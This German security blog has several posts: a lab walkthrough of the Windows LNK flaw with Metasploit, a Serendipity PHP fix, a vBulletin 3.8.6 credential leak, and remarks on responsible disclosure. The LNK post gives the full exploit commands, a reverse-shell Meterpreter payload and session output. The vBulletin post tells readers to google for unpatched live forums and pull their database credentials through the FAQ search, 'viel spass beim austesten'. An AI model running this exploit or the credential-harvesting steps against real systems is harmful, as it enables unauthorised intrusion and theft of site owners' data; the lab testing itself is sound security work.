Sqall Blog

Ja, einen froehlichen happy Sysadmin Day. Freut euch an dem heutigen Tag, denn kaum ein User bemerkt unsere Arbeit. Und passend natuerlich, ich bin noch arbeiten... :/

Ist zwar jetzt schon etwas laenger her, aber ich hatte jetzt endlich mal kurz Zeit die LNK-Luecke unter Windows zu testen. Ausgiebig konnte ich dies zwar noch nicht tun, aber ich hatte spass mit dem Metasploit Modul windows/browser/ms10_xxx_windows_shell_lnk_execute.

Nachdem ich alle meine Daten in der Metasploit Konsole eingegeben habe:

use windows/browser/ms10_xxx_windows_shell_lnk_execute
set PAYLOAD windows/patchupmeterpreter/reverse_tcp
set LHOST 192.168.55.2
exploit

Wurde auch der Fake Webserver gestartet. Die Ausgabe sieht dann wie folgt aus:

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.55.2:4444
[*]
[*] Send vulnerable clients to \\192.168.55.2\rzAATIPqRf\.
[*] Or, get clients to save and render the icon of http:///.lnk
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.55.2:80/
[*] Server started.

Nun habe ich mit einem Windows XP und einem Windows 2008 R2 Server etwas getestet. Andere Windows Versionen hatte ich in meinem Labor nicht zur Verfuegung. Das Windows XP mit dem alten Internet Explorer reagiert sofort auf die Umleitung und greift via WebDAV zu und versucht die Icons anzuzeigen. Ab dann habt ihr eine Meterpreter Session im Hintergrund. Die Ausgabe auf eurer Metasploit Maschine sieht dann ungefaehr so aus:

[*] Sending UNC redirect to 192.168.55.101:1083 ...
[*] Responding to WebDAV OPTIONS request from 192.168.55.101:1098
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf
[*] Sending 301 for /rzAATIPqRf ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/
[*] Sending directory multistatus for /rzAATIPqRf/ ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf
[*] Sending 301 for /rzAATIPqRf ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/
[*] Sending directory multistatus for /rzAATIPqRf/ ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/desktop.ini
[*] Sending 404 for /rzAATIPqRf/desktop.ini ...
[*] Sending LNK file to 192.168.55.101:1098 ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/epKOU.dll.manifest
[*] Sending 404 for /rzAATIPqRf/epKOU.dll.manifest ...
[*] Sending DLL payload 192.168.55.101:1098 ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/epKOU.dll.123.Manifest
[*] Sending 404 for /rzAATIPqRf/epKOU.dll.123.Manifest ...
[*] Sending stage (2650 bytes) to 192.168.55.101
[*] Sleeping before handling stage...
[*] Uploading DLL (748043 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.55.2:4444 -> 192.168.55.101:1099) at 2010-07-29 11:12:50 +0200

Wenn ihr nun einfach in der Metersploit Konsole schaut, ob auch alles geklappt hat:

msf exploit(ms10_xxx_windows_shell_lnk_execute) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter WINVM\sqall @ WINVM 192.168.55.2:4444 -> 192.168.55.101:1099

Nun koennt ihr euch mit dieser Session verbinden:

msf exploit(ms10_xxx_windows_shell_lnk_execute) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Und ihr seid auf dem Rechner mit dem Meterpreter, der anfaellig gegen diese Luecke war.

Der Firefox reagiert auf die Umleitung nicht und leitet komplett falsch um. Unter Windows 2008 R2 Server hatte der Internet Explorer in der Standardeinstellung auch die Umleitung auf den WebDAV Dienst ignoriert. Hier konnte ich auf die schnelle keine Meterpreter Session aufbauen.

Allerdings scheint das Metersploit Modul noch nicht ganz ausgereift zu sein. Denn ab und zu gibt es Timeouts auf dem Client und ihr muesst die Session aktualisieren, damit der Browser auch auf das WebDAV Verzeichnis zugreift. Fuer einen wirklichen Angriff meiner Meinung nach nicht geeignet.

Weitere Tests werde ich wohl erst bei etwas mehr Zeit durchfuehren koennen, aber hier schon mal ein kleiner Vorgeschmack

Mit der neuen Version von PHP5 sind auch einige Probleme bei der Blogsoftware Serendipity aufgetreten. Wie ich heute morgen gelesen habe, werden Parsing Errors ausgegeben. Es liegt an diesem alten Code-Abschnitt in der Datei (Serendipity 1.5.3) include/functions_entries.inc.php bei der Zeile 1433:

serendipity_db_query("DELETE FROM {$serendipity["dbPrefix"]}entries WHERE id=$id");
serendipity_db_query("DELETE FROM {$serendipity["dbPrefix"]}entrycat WHERE entryid=$id");
serendipity_db_query("DELETE FROM {$serendipity["dbPrefix"]}entryproperties WHERE entryid=$id");
serendipity_db_query("DELETE FROM {$serendipity["dbPrefix2]}comments WHERE entry_id=$id");

Aendert man diese Zeilen in

serendipity_db_query("DELETE FROM {$serendipity['dbPrefix']}entries WHERE id=$id");
serendipity_db_query("DELETE FROM {$serendipity['dbPrefix']}entrycat WHERE entryid=$id");
serendipity_db_query("DELETE FROM {$serendipity['dbPrefix']}entryproperties WHERE entryid=$id");
serendipity_db_query("DELETE FROM {$serendipity['dbPrefix']}comments WHERE entry_id=$id");

um, gibt es keine Probleme mehr. Wer es nicht sieht, die " wurden durch ' ausgewechselt. Die offizielle Meldung kam heute von den Serendipity Entwicklern. Dieser Fix wird erst in der naechsten Version enthalten sein.

Ja, das grosse vBulletin Board hat eine doch ziemlich grosse Luecke in ihrem FAQ Modul. Dieser Bug gibt einem die Datenbank Zugriffsdaten aus, wenn man einen Suchbegriff eingibt. Auch wenn ich die Luecke in bugtraq ignoriert habe und erst durch heise darauf aufmerksam wurde (deshalb etwas verspaetet von mir der Eintrag), habe ich es doch auch ausprobiert.

Wenn man in google einfach mal nach "Powered by vBulletin 3.8.6" sucht, findet man einige Foren mit der vBulletin Version, die anfaellig fuer die Luecke ist. Die meisten sind allerdings schon gepatcht. Dennoch findet man vereinzelt noch Foren, die nicht auf dem neusten Stand sind. Dort geht man einfach auf FAQ oder Hilfe (je nach Sprache) und gibt als Suchbegriff "database" oder "datenbank" ein (auch je nach Sprache). Das Ergebnis ist entweder gar nichts oder eben die Zugriffsdaten auf die MySQL-Datenbank. Da viele Leute, die IT-Systeme administrieren, lieber andere Jobs ausueben sollten, wird diese Luecke wohl noch weit verbreitet sein (ich habe sogar vBulletin Boards in der Version 3.8.4 noch gefunden).




Viel spass beim austesten.

Ich hatte hier darueber geschrieben, wie ganz viele Menschen auf security-mailinglists meinen, in die Kerbe Microsofts zu schlagen und es schon als "Cyber-Terrorismus" (Ja, ich schuettel mich immer wieder bei dem Begriff... Denklegastheniker!) zu betrachten, wenn Sicherheitsluecken veroeffentlicht werden. Microsoft haelt es ja fuer verantwortlich, wenn Luecken jahrelang vom Hersteller nicht gepatcht werden und die Luecken aktiv solange ausgenutzt werden.

Nun kommt google mit einem oeffentlichen Vorschlag. Als Responsible Disclosure ist zu bezeichnen, wer dem Hersteller 60 Tage Zeit laesst, bevor die Sicherheitsluecke veroeffentlicht wird. Diese Einstellung habe ich schon immer geteilt. Der Hersteller muss Zeit haben, zu reagieren. Wenn Fristen nicht eingehalten werden, dann muss der Hersteller eben unter Druck gesetzt werden, in dem die Kunden davon betroffen sein koennten. Leider verstehen Firmen bestimmte Dinge nur, wenn es um ihr Geld geht...